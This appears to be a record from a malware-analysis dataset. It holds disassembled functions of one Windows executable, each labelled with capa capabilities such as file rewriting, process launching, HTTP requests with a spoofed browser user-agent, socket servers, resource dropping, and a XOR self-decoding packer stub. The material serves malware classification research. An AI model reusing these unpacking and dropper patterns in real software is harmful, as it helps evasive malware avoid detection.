joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40dd40
Capabilities:
Get file size
Read file via mapping
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push esi
push edi
mov byte [ebp - 0x11], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 0
push 0
push 0
push 3
push 0
push 0
push bind
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x40de93
push 0
push 0
push 0
push 2
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x40de89
push 0
push 0
push 0
push 4
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x40de7f
push 0
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x100
jbe 0x40de75
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.0040bbd0
add esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40de75
mov edx, dword [ebp - 8]
sub edx, 0x100
mov eax, dword [ebp - 0x10]
cmp dword [eax + 0x18], edx
jne 0x40de75
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x1c]
add ecx, 0x100
push ecx
push 0x10
mov edx, dword [ebp - 0x10]
add edx, 8
push edx
call fcn.0040b570
add esp, 0x10
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40de75
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.00409ea0
add esp, 0xc
mov ecx, 4
lea edi, [ebp - 0x2c]
mov esi, dword [ebp - 0x10]
add esi, 8
xor eax, eax
repe cmpsd dword [esi], dword es:[edi]
je 0x40de75
mov ecx, dword [ebp - 4]
push ecx
call fcn.00409650
add esp, 4
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 4], 0
je 0x40deed
push 0
push 0
push 2
push 0
push 0
push 0x40000000
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x40dee1
mov byte [ebp - 0x11], 1
push 0
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 4]
push edx
call fcn.00409650
add esp, 4
mov al, byte [ebp - 0x11]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40df00
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push 0x44
push 0
lea eax, [ebp - 0x60]
push eax
call sub.ntdll.dll_memset
add esp, 0xc
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
mov edx, 5
mov word [ebp - 0x30], dx
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x60]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 1
jne 0x40df6f
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x40dfa6
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x64], ecx
cmp dword [ebp - 0x64], 0x20
jle 0x40dfa4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x40dfa6
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x40dfb0
Capabilities:
Create http request
Get http content length
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov byte [ebp - 5], 0
push 0
push 0
push 0
push 1
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_93.0.4577.82_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40e048
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40e03e
mov dword [ebp - 0x14], 4
push 0
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x10]
push eax
push 0x20000005
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
cmp dword [ebp - 0x10], 0x1388
jbe 0x40e034
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x10]
cmp eax, dword [edx]
je 0x40e034
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x10]
mov dword [ecx], edx
mov byte [ebp - 5], 1
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov al, byte [ebp - 5]
mov esp, ebp
pop ebp
ret
Function at 0x40e400
Capabilities:
Create tcp socket
Create thread
Create udp socket
Set socket configuration

Disassembly:
sub esp, 0x14
xor eax, eax
test si, si
je 0x40e4f1
test edi, edi
je 0x40e4f1
push ebx
push 0x24
call fcn.004094e0
add esp, 4
push 0
push 0
mov ebx, eax
push 1
push 0
mov dword [ebx], 0x756470
mov dword [ebx + 4], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0x11
push 2
push 2
mov dword [ebx + 0x10], eax
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebx + 8], eax
cmp eax, 0xffffffff
jne 0x40e45c
call fcn.0040e860
xor ebx, ebx
test ebx, ebx
je 0x40e4ee
xor eax, eax
mov dword [esp + 0xa], eax
mov dword [esp + 0xe], eax
mov dword [esp + 0x12], eax
mov word [esp + 0x16], ax
mov eax, dword [esp + 0x1c]
mov ecx, 2
push esi
mov dword [esp + 0x10], eax
mov word [esp + 0xc], cx
call dword [sym.imp.WS2_32.dll_htons]
push 1
lea edx, [esp + 0xb]
push edx
push 4
mov word [esp + 0x16], ax
mov byte [esp + 0x13], 1
mov eax, dword [ebx + 8]
push 0xffff
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
mov edx, dword [ebx + 8]
push 0x10
lea ecx, [esp + 0xc]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x40e4d4
call fcn.0040e860
xor eax, eax
pop ebx
add esp, 0x14
ret
push 0
push 0
push ebx
push 0x40e630
push 0
push 0
mov dword [ebx + 0xc], edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebx + 0x14], eax
mov eax, ebx
pop ebx
add esp, 0x14
ret
Function at 0x40e730
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov ecx, dword [ebp + 8]
push ebx
push esi
mov esi, eax
xor al, al
push edi
mov byte [esp + 0x13], al
test ecx, ecx
je 0x40e84a
cmp dword [ecx], 0x756470
jne 0x40e84a
cmp dword [ebp + 0xc], 0
je 0x40e84a
test esi, esi
je 0x40e84a
lea edi, [esi + 4]
push edi
call fcn.00409500
mov ebx, eax
mov eax, dword [ebp + 0xc]
push esi
push eax
lea ecx, [ebx + 4]
push ecx
mov dword [esp + 0x24], ebx
mov dword [ebx], esi
call sub.ntdll.dll_memcpy
xor eax, eax
mov dword [esp + 0x2a], eax
mov dword [esp + 0x2e], eax
mov dword [esp + 0x32], eax
mov word [esp + 0x36], ax
mov eax, dword [ebp + 0x14]
add esp, 0x10
mov edx, 2
push eax
mov word [esp + 0x1c], dx
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, dword [ebp + 0x10]
mov word [esp + 0x1a], ax
mov dword [esp + 0x1c], ecx
test edi, edi
je 0x40e820
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
push 0x10
lea edx, [esp + 0x1c]
push edx
push 0
push edi
push ebx
push ecx
call dword [sym.imp.WS2_32.dll_sendto]
mov esi, eax
cmp esi, 0xffffffff
je 0x40e818
mov edx, dword [ebp + 8]
push esi
add edx, 0x1c
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
sub edi, esi
add ebx, esi
test edi, edi
jne 0x40e7c6
mov ebx, dword [esp + 0x14]
push ebx
mov byte [esp + 0x17], 1
call fcn.00409650
mov al, byte [esp + 0x17]
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test edi, edi
jne 0x40e839
mov ebx, dword [esp + 0x14]
push ebx
mov byte [esp + 0x17], 1
call fcn.00409650
mov al, byte [esp + 0x17]
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [esp + 0x14]
push ebx
call fcn.00409650
mov al, byte [esp + 0x17]
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40e8d0
Capabilities:
Create tcp socket
Create thread
Create udp socket

Disassembly:
sub esp, 0x10
push ebx
push 0x24
call fcn.004094e0
add esp, 4
push 0
push 0
mov ebx, eax
push 1
push 0
mov dword [ebx], 0x756470
mov dword [ebx + 4], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0x11
push 2
push 2
mov dword [ebx + 0x10], eax
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebx + 8], eax
cmp eax, 0xffffffff
jne 0x40e919
call fcn.0040e860
xor ebx, ebx
test ebx, ebx
je 0x40e97a
xor eax, eax
mov dword [esp + 6], eax
mov dword [esp + 0xa], eax
mov dword [esp + 0xe], eax
mov word [esp + 0x12], ax
mov eax, 2
push 0x10
lea ecx, [esp + 8]
mov word [esp + 8], ax
mov edx, dword [ebx + 8]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x40e95c
call fcn.0040e860
xor eax, eax
pop ebx
add esp, 0x10
ret
mov eax, dword [esp + 0x18]
push 0
push 0
push ebx
push 0x40e630
push 0
push 0
mov dword [ebx + 0xc], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebx + 0x14], eax
mov eax, ebx
pop ebx
add esp, 0x10
ret
Function at 0x40f120
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_WSASend]
push ebp
mov ebp, dword [esp + 0xc]
mov ecx, dword [ebp + 0x260]
push edi
push 0
push esi
push 0
lea eax, [esp + 0x1c]
push eax
push 1
lea edi, [esi + 0x1c]
push edi
push ecx
mov dword [esp + 0x2c], 0
call ebx
test eax, eax
je 0x40f190
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x3e5
je 0x40f190
cmp eax, 0x2733
jne 0x40f196
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 0x260]
push 0
push esi
push 0
lea edx, [esp + 0x1c]
push edx
push 1
push edi
push eax
mov dword [esp + 0x2c], 0
call ebx
test eax, eax
jne 0x40f152
pop edi
pop ebp
mov al, 1
pop ebx
ret
pop edi
pop ebp
xor al, al
pop ebx
ret

Function at 0x40f290
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 8
mov edx, dword [esi + 0x260]
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_WSARecv]
push ebp
push edi
xor eax, eax
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], eax
lea edi, [esi + 0x208]
push edi
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x1c]
push ecx
push 1
lea ebp, [esi + 0x224]
push ebp
push edx
call ebx
test eax, eax
je 0x40f312
mov edi, edi
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x3e5
je 0x40f312
cmp eax, 0x2733
jne 0x40f31b
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [esi + 0x260]
xor eax, eax
push eax
push edi
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], eax
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x1c]
push ecx
push 1
push ebp
push edx
call ebx
test eax, eax
jne 0x40f2d0
pop edi
pop ebp
mov al, 1
pop ebx
add esp, 8
ret
pop edi
pop ebp
xor al, al
pop ebx
add esp, 8
ret
Function at 0x40f3a0
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0x1c
cmp dword [esp + 0x20], 0
push esi
push edi
mov esi, eax
mov edi, ecx
jne 0x40f532
test ebx, ebx
je 0x40f532
call fcn.0040c9d0
push eax
lea eax, [edi + 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x18]
sub eax, 0
je 0x40f48e
sub eax, 1
jne 0x40f589
cmp byte [edi + 0x275], al
je 0x40f3fc
add edi, 0x21c
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
pop edi
pop esi
add esp, 0x1c
ret
lea ecx, [edi + 0x21c]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov edx, dword [edi + 0x27c]
push ebx
add edx, 0x44
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov eax, dword [edi + 0x264]
mov ecx, dword [edi + 0x268]
mov edx, dword [edi + 0x26c]
mov dword [esp + 8], eax
mov eax, dword [edi + 0x270]
mov dword [esp + 0xc], ecx
mov ecx, dword [edi + 0x278]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], ecx
mov ecx, dword [edi + 0x27c]
lea eax, [esp + 8]
lea edx, [edi + 8]
push eax
mov dword [esp + 0x20], edx
push ecx
mov ecx, 3
mov edx, edi
mov dword [esp + 0x28], ebx
call fcn.0040ed80
add esp, 8
mov eax, edi
call fcn.0040f330
test al, al
jne 0x40f589
mov byte [edi + 0x275], 1
pop edi
pop esi
add esp, 0x1c
ret
cmp byte [edi + 0x275], 0
je 0x40f4a7
add esi, 0x14
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
pop edi
pop esi
add esp, 0x1c
ret
add dword [esi + 0x28], ebx
mov eax, dword [esi + 0x28]
cmp eax, dword [esi + 0x24]
jae 0x40f4c7
add dword [esi + 0x20], ebx
sub dword [esi + 0x1c], ebx
push edi
call fcn.0040f120
add esp, 4
pop edi
pop esi
add esp, 0x1c
ret
lea edx, [esi + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ecx, dword [edi + 0x268]
mov edx, dword [edi + 0x26c]
mov eax, dword [edi + 0x264]
mov dword [esp + 0xc], ecx
mov ecx, dword [edi + 0x278]
mov dword [esp + 0x10], edx
mov edx, dword [esi + 0x30]
mov dword [esp + 0x18], ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x270]
mov dword [esp + 0x1c], edx
mov edx, dword [edi + 0x27c]
lea ecx, [esp + 8]
push ecx
mov dword [esp + 0x18], eax
mov eax, dword [esi + 0x28]
push edx
mov ecx, 2
mov edx, edi
mov dword [esp + 0x28], eax
call fcn.0040ed80
add esp, 8
pop edi
pop esi
add esp, 0x1c
ret
add esi, 0x14
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 4
lea edx, [esp + 0x2c]
push edx
mov eax, 1
push 0x80
mov word [esp + 0x34], ax
mov eax, dword [edi + 0x260]
push 0xffff
xor ecx, ecx
push eax
mov byte [edi + 0x275], 1
mov word [esp + 0x3e], cx
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [edi + 0x260]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [edi + 0x260], 0xffffffff
pop edi
pop esi
add esp, 0x1c
ret
Function at 0x40f660
Capabilities:
Create tcp socket
Create udp socket
Get system information on windows
Set socket configuration

Disassembly:
sub esp, 0x38
push edi
push 0x4c
call fcn.004094e0
mov edi, eax
add esp, 4
test edi, edi
je 0x40f7e6
lea eax, [esp + 0x18]
push eax
mov dword [edi], 0x494f4350
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [esp + 0x2c]
lea eax, [edi + 0x20]
lea edx, [ecx + ecx]
push eax
mov dword [edi + 4], edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [edi + 0x10], eax
test eax, eax
je 0x40f7df
push 0
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [edi + 8], eax
test eax, eax
je 0x40f7df
call fcn.0040c660
mov dword [edi + 0xc], eax
test eax, eax
je 0x40f7df
push 1
push 0
push 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov dword [edi + 0x14], eax
cmp eax, 0xffffffff
je 0x40f7df
push 1
lea ecx, [esp + 0xb]
push ecx
push 4
push 0xffff
push eax
mov byte [esp + 0x1b], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [esp + 0x44]
xor eax, eax
mov dword [esp + 0xa], eax
mov dword [esp + 0xe], eax
mov dword [esp + 0x12], eax
mov word [esp + 0x16], ax
mov eax, dword [esp + 0x40]
mov edx, 2
push ecx
mov word [esp + 0xc], dx
mov dword [esp + 0x10], eax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [esp + 0xc]
mov word [esp + 0xe], ax
mov eax, dword [edi + 0x14]
push edx
push eax
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x40f7df
mov ecx, dword [edi + 0x14]
push bind
push ecx
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
je 0x40f7df
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov dword [edi + 0x18], eax
test eax, eax
je 0x40f7df
mov edx, dword [edi + 0x14]
push 8
push eax
push edx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x40f7df
push esi
xor esi, esi
cmp dword [edi + 4], esi
jbe 0x40f7bf
mov eax, dword [edi + 0xc]
push 0
push 0
push edi
push 0x40f590
push 0
push eax
call fcn.0040c710
inc esi
add esp, 0x18
cmp esi, dword [edi + 4]
jb 0x40f7a1
mov ecx, dword [edi + 0xc]
push 0
push 0
push edi
push 0x40ef60
push 0
push ecx
call fcn.0040c710
add esp, 0x18
pop esi
mov eax, edi
pop edi
add esp, 0x38
ret
call fcn.0040ec40
xor eax, eax
pop edi
add esp, 0x38
ret
Function at 0x40fa89
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x40faba
mov eax, dword fs:[4]
mov dword [ebp + 8], eax
mov eax, dword fs:[8]
mov dword [ebp - 4], eax
cmp ebx, dword [ebp - 4]
jb 0x40fac1
cmp ebx, dword [ebp + 8]
jae 0x40fac1
xor eax, eax
jmp 0x40fca7
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x40fad2
xor eax, eax
inc eax
jmp 0x40fca6
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x40fae4
cmp ecx, edx
jae 0x40fb48
cmp dword [eax + 4], 0
je 0x40faed
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x40fad9
cmp dword [ebp + 8], 0
je 0x40fb07
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x40fb48
cmp eax, esi
jae 0x40fb48
mov ecx, dword [0x415738]
mov esi, ebx
and esi, 0xfffff000
xor eax, eax
test ecx, ecx
jle 0x40fb29
cmp dword [eax*4 + 0x415740], esi
je 0x40fb4f
inc eax
cmp eax, ecx
jl 0x40fb1b
lea eax, [ebp + 8]
push eax
push 0x1c
lea eax, [ebp - 0x20]
push eax
push 0
push ebx
or edi, 0xffffffff
push edi
call sub.ntdll.dll_NtQueryVirtualMemory
test eax, eax
jl 0x40fbbf
mov eax, dword [ebp + 8]
jmp 0x40fbc1
xor eax, eax
jmp 0x40fca6
test eax, eax
jle 0x40faca
xor edx, edx
mov ebx, 0x415780
inc edx
mov edi, ebx
xchg dword [edi], edx
test edx, edx
jne 0x40faca
cmp dword [eax*4 + 0x415740], esi
je 0x40fb9e
lea eax, [ecx - 1]
test eax, eax
jl 0x40fb8b
cmp dword [eax*4 + 0x415740], esi
je 0x40fb87
dec eax
jns 0x40fb7b
test eax, eax
jge 0x40fb9c
cmp ecx, 0x10
jge 0x40fb97
inc ecx
mov dword [0x415738], ecx
lea eax, [ecx - 1]
jmp 0x40fb9e
je 0x40fbb6
xor edx, edx
test eax, eax
jl 0x40fbb6
lea ecx, [edx*4 + 0x415740]
mov edi, dword [ecx]
inc edx
cmp edx, eax
mov dword [ecx], esi
mov esi, edi
jle 0x40fba4
xor eax, eax
xchg dword [ebx], eax
jmp 0x40faca
xor eax, eax
test eax, eax
je 0x40fca4
cmp dword [ebp - 8], 0x1000000
jne 0x40fca4
test byte [ebp - 0xc], 0xcc
je 0x40fc36
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x40fca4
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x40fca4
cmp word [eax + 0x18], 0x10b
jne 0x40fca4
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x40fca4
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x40fc36
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x40fc36
test byte [ecx + 0x27], 0x80
jne 0x40fb48
xor eax, eax
inc eax
mov ecx, eax
mov edx, 0x415780
xchg dword [edx], ecx
test ecx, ecx
jne 0x40fca6
mov ecx, dword [0x415738]
test ecx, ecx
mov edx, ecx
jle 0x40fc65
lea eax, [ecx*4 + 0x41573c]
cmp dword [eax], esi
je 0x40fc65
dec edx
sub eax, 4
test edx, edx
jg 0x40fc59
test edx, edx
jne 0x40fc96
push 0xf
pop ebx
cmp ecx, ebx
jg 0x40fc72
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x40fc8a
lea eax, [edx*4 + 0x415740]
mov edi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], esi
mov esi, edi
jle 0x40fc78
cmp ecx, 0x10
jge 0x40fc96
inc ecx
mov dword [0x415738], ecx
xor eax, eax
mov ecx, 0x415780
xchg dword [ecx], eax
jmp 0x40faca
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4023c0
Capabilities:
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x402868
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov eax, dword [esp + 0x18]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test esi, esi
je 0x402439
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 4]
push 0
push ecx
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18]
mov dword [esp + 0x10], 0xffffffff
call fcn.00402600
mov al, 1
pop esi
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
add esp, 0x10
ret
lea ecx, [esp + 0x18]
mov dword [esp + 0x10], 0xffffffff
call fcn.00402600
mov ecx, dword [esp + 8]
xor al, al
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x402460
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x402890
push eax
mov dword fs:[0], esp
push ebx
push ebp
push esi
push edi
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x28]
and ecx, 0xffff
push eax
push ecx
push 0
mov dword [esp + 0x24], 1
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x402509
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
je 0x402509
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
je 0x402509
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, ebx
mov esi, eax
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebx
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
push ecx
lea eax, [esp + 0x2c]
mov ecx, esp
mov dword [esp + 0x30], esp
push eax
call sub.MFC42.DLL_CString::CString
call fcn.004023c0
add esp, 0xc
test al, al
push ebp
jne 0x40253d
call dword [sym.imp.KERNEL32.dll_GlobalFree]
lea ecx, [esp + 0x20]
mov byte [esp + 0x18], 0
call fcn.00402600
lea ecx, [esp + 0x28]
mov dword [esp + 0x18], 0xffffffff
call fcn.00402600
xor al, al
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
call dword [sym.imp.KERNEL32.dll_GlobalFree]
lea ecx, [esp + 0x20]
mov byte [esp + 0x18], 0
call fcn.00402600
lea ecx, [esp + 0x28]
mov dword [esp + 0x18], 0xffffffff
call fcn.00402600
mov ecx, dword [esp + 0x10]
pop edi
pop esi
pop ebp
mov al, 1
mov dword fs:[0], ecx
pop ebx
add esp, 0xc
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219